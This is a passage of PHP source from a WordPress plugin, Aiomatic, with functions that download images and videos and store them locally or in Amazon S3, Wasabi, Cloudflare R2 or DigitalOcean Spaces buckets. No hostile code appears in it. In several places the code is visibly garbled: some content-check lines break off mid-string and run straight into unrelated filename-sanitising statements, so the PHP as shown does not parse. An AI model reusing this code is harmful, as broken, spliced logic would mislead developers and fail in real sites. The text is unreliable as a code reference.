                    if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 digital_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 digital_pass for this to work!');
                        return false;
                    }
                    $bucket_name = '';
                    preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches);
                    if(isset($zmatches[1][0]))
                    {
                        $bucket_name = $zmatches[1][0];
                    }
                    else
                    {
                        aiomatic_log_to_file('Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']));
                        return false;
                    }
                    $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint']));
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => 'us-east-1',
                            'endpoint' => $endpoint_plain_url,
                            'use_path_style_endpoint' => false,
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['digital_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['digital_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($bucket_name),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $stream,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                else
                {
                    return false;
                }
            }
            function aiomatic_copy_video_locally($image_url, $filename, $location = 'local')
            {
                $extension = 'mp4';
                $image_data = aiomatic_get_web_page($image_url);
                if ($image_data === FALSE || strpos($image_data, '<Message>Access Denied</Message>') !== FALSE || strpos($image_data, '<title>Just a moment...') !== FALSE || strpos($image_data, 'exists($file))
                    {
                        unlink($file);
                    }
                    
                    $ret = $wp_filesystem->put_contents($file, $image_data);
                    if ($ret === FALSE) {
                        return false;
                    }
                    $wp_filetype = wp_check_filetype( $filename . '.' . $extension, null );
                    $attachment = array(
                    'post_mime_type' => $wp_filetype['type'],
                    'post_title' => sanitize_file_name( $filename . '.' . $extension ),
                    'post_content' => '',
                    'post_status' => 'inherit'
                    );
                    $attach_id = wp_insert_attachment( $attachment, $file );
                    require_once(ABSPATH . 'wp-admin/includes/image.php');
                    require_once(ABSPATH . 'wp-admin/includes/media.php');
                    $attach_data = wp_generate_attachment_metadata( $attach_id, $file );
                    wp_update_attachment_metadata( $attach_id, $attach_data );
                    return array($ret_path, $file);
                }
                elseif($location == 'amazon')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 bucket_name for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_pass for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '')
                    {
                        $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1';
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['bucket_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['drive_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['drive_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['bucket_name']),
                            'Key'    => $s3_remote_path . $filename . '.' . $extension,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                elseif($location == 'wasabi')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_region for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['wasabi_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['wasabi_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['wasabi_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']),
                            'Key'    => $s3_remote_path . $filename . '.' . $extension,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                elseif($location == 'cloudflare')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_account for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region' => 'us-east-1',
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['cloud_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['cloud_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']),
                            'Key'    => $s3_remote_path . $filename . '.' . $extension,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                elseif($location == 'digital')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 digital_endpoint for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 digital_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 digital_pass for this to work!');
                        return false;
                    }
                    $bucket_name = '';
                    preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches);
                    if(isset($zmatches[1][0]))
                    {
                        $bucket_name = $zmatches[1][0];
                    }
                    else
                    {
                        aiomatic_log_to_file('Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']));
                        return false;
                    }
                    $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint']));
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => 'us-east-1',
                            'endpoint' => $endpoint_plain_url,
                            'use_path_style_endpoint' => false,
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['digital_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['digital_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($bucket_name),
                            'Key'    => $s3_remote_path . $filename . '.' . $extension,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                else
                {
                    return false;
                }
            }
            function aiomatic_copy_image_locally($image_url, $copy_locally = '', $del_existing = false)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if(!empty($copy_locally))
                {
                    $aiomatic_Main_Settings['copy_locally'] = $copy_locally;
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                {
                    aiomatic_log_to_file('Copying image (' . $aiomatic_Main_Settings['copy_locally'] . '): ' . $image_url);
                }
                if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                {
                    if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                    {
                        aiomatic_log_to_file('Copying image locally: ' . $image_url);
                    }
                    $upload_dir = wp_upload_dir();
                    global $wp_filesystem;
                    if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                        include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                        wp_filesystem($creds);
                    }
                    if(substr( $image_url, 0, 10 ) === "data:image")
                    {
                        $data = explode(',', $image_url);
                        if(isset($data[1]))
                        {
                            $image_data = base64_decode($data[1]);
                            if($image_data === FALSE)
                            {
                                return false;
                            }
                        }
                        else
                        {
                            return false;
                        }
                        preg_match('{data:image/(.*?);}', $image_url, $ex_matches);
                        if(isset($ex_matches[1]))
                        {
                            $image_url = 'image.' . $ex_matches[1];
                        }
                        else
                        {
                            $image_url = 'image.jpg';
                        }
                    }
                    else
                    {
                        $image_data = aiomatic_get_web_page($image_url);
                        if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename);
                    $filename = str_replace('*', '-', $filename);
                    $filename = str_replace('/', '-', $filename);
                    $filename = str_replace('$', '-', $filename);
                    $filename = str_replace('\'', '-', $filename);
                    $filename = str_replace('"', '-', $filename);
                    $filename = str_replace(':', '-', $filename);
                    $filename = str_replace('@', '-', $filename);
                    $filename = str_replace('+', '-', $filename);
                    $filename = str_replace('|', '-', $filename);
                    $filename = str_replace('=', '-', $filename);
                    $filename = str_replace('`', '-', $filename);
                    $file_parts = pathinfo($filename);
                    if(!isset($file_parts['extension']))
                    {
                        $file_parts['extension'] = '';
                    }
                    switch($file_parts['extension'])
                    {
                        case "":
                        if(!aiomatic_endsWith($filename, '.jpg'))
                            $filename .= '.jpg';
                        break;
                        case NULL:
                        if(!aiomatic_endsWith($filename, '.jpg'))
                            $filename .= '.jpg';
                        break;
                    }
                    if (wp_mkdir_p($upload_dir['path']))
                    {
                        $file = $upload_dir['path'] . '/' . $filename;
                        $ret_path = $upload_dir['url'] . '/' . $filename;
                    }
                    else
                    {
                        $file = $upload_dir['basedir'] . '/' . $filename;
                        $ret_path = $upload_dir['baseurl'] . '/' . $filename;
                    }
                    if($wp_filesystem->exists($file))
                    {
                        if($del_existing)
                        {
                            unlink($file);
                        }
                        else
                        {
                            if(empty($file_parts['extension']))
                            {
                                $file_parts['extension'] = 'jpg';
                            }
                            $unid = uniqid();
                            $file .= $unid . '.' . $file_parts['extension'];
                            $ret_path .= $unid . '.' . $file_parts['extension'];
                        }
                    }
                    
                    $ret = $wp_filesystem->put_contents($file, $image_data);
                    if ($ret === FALSE) {
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Failed to save image locally: ' . $image_url . ' - to: ' . $file);
                        }
                        return false;
                    }
                    $wp_filetype = wp_check_filetype( $filename, null );
                    $attachment = array(
                    'post_mime_type' => $wp_filetype['type'],
                    'post_title' => sanitize_file_name( $filename ),
                    'post_content' => '',
                    'post_status' => 'inherit'
                    );
                    $attach_id = wp_insert_attachment( $attachment, $file );
                    require_once(ABSPATH . 'wp-admin/includes/image.php');
                    require_once(ABSPATH . 'wp-admin/includes/media.php');
                    $attach_data = wp_generate_attachment_metadata( $attach_id, $file );
                    wp_update_attachment_metadata( $attach_id, $attach_data );
                    return array($ret_path, $file);
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'amazon')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 bucket_name for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_pass for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '')
                    {
                        $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1';
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['bucket_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['drive_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['drive_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        if(substr( $image_url, 0, 10 ) === "data:image")
                        {
                            $data = explode(',', $image_url);
                            if(isset($data[1]))
                            {
                                $image_data = base64_decode($data[1]);
                                if($image_data === FALSE)
                                {
                                    aiomatic_log_to_file('Failed to decode image: ' . $image_url);
                                    return false;
                                }
                            }
                            else
                            {
                                aiomatic_log_to_file('Failed to parse image: ' . $image_url);
                                return false;
                            }
                        }
                        else
                        {
                            $image_data = aiomatic_get_web_page($image_url);
                            if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename);
                        $filename = str_replace('*', '-', $filename);
                        $filename = str_replace('/', '-', $filename);
                        $filename = str_replace('$', '-', $filename);
                        $filename = str_replace('\'', '-', $filename);
                        $filename = str_replace('"', '-', $filename);
                        $filename = str_replace(':', '-', $filename);
                        $filename = str_replace('@', '-', $filename);
                        $filename = str_replace('+', '-', $filename);
                        $filename = str_replace('|', '-', $filename);
                        $filename = str_replace('=', '-', $filename);
                        $filename = str_replace('`', '-', $filename);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        switch($file_parts['extension'])
                        {
                            case "":
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                            case NULL:
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                        }
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['bucket_name']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    }
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'wasabi')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_region for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['wasabi_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Wasabi API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['wasabi_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['wasabi_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        if(substr( $image_url, 0, 10 ) === "data:image")
                        {
                            $data = explode(',', $image_url);
                            if(isset($data[1]))
                            {
                                $image_data = base64_decode($data[1]);
                                if($image_data === FALSE)
                                {
                                    aiomatic_log_to_file('Failed to decode image: ' . $image_url);
                                    return false;
                                }
                            }
                            else
                            {
                                aiomatic_log_to_file('Failed to parse image: ' . $image_url);
                                return false;
                            }
                        }
                        else
                        {
                            $image_data = aiomatic_get_web_page($image_url);
                            if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename);
                        $filename = str_replace('*', '-', $filename);
                        $filename = str_replace('/', '-', $filename);
                        $filename = str_replace('$', '-', $filename);
                        $filename = str_replace('\'', '-', $filename);
                        $filename = str_replace('"', '-', $filename);
                        $filename = str_replace(':', '-', $filename);
                        $filename = str_replace('@', '-', $filename);
                        $filename = str_replace('+', '-', $filename);
                        $filename = str_replace('|', '-', $filename);
                        $filename = str_replace('=', '-', $filename);
                        $filename = str_replace('`', '-', $filename);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        switch($file_parts['extension'])
                        {
                            case "":
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                            case NULL:
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                        }
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode Wasabi API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Wasabi: " . $e->getMessage());
                        return false;
                    }
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'cloudflare')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare R2 cloud_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare cloud_account for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare cloud_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare cloud_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region' => 'us-east-1',
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
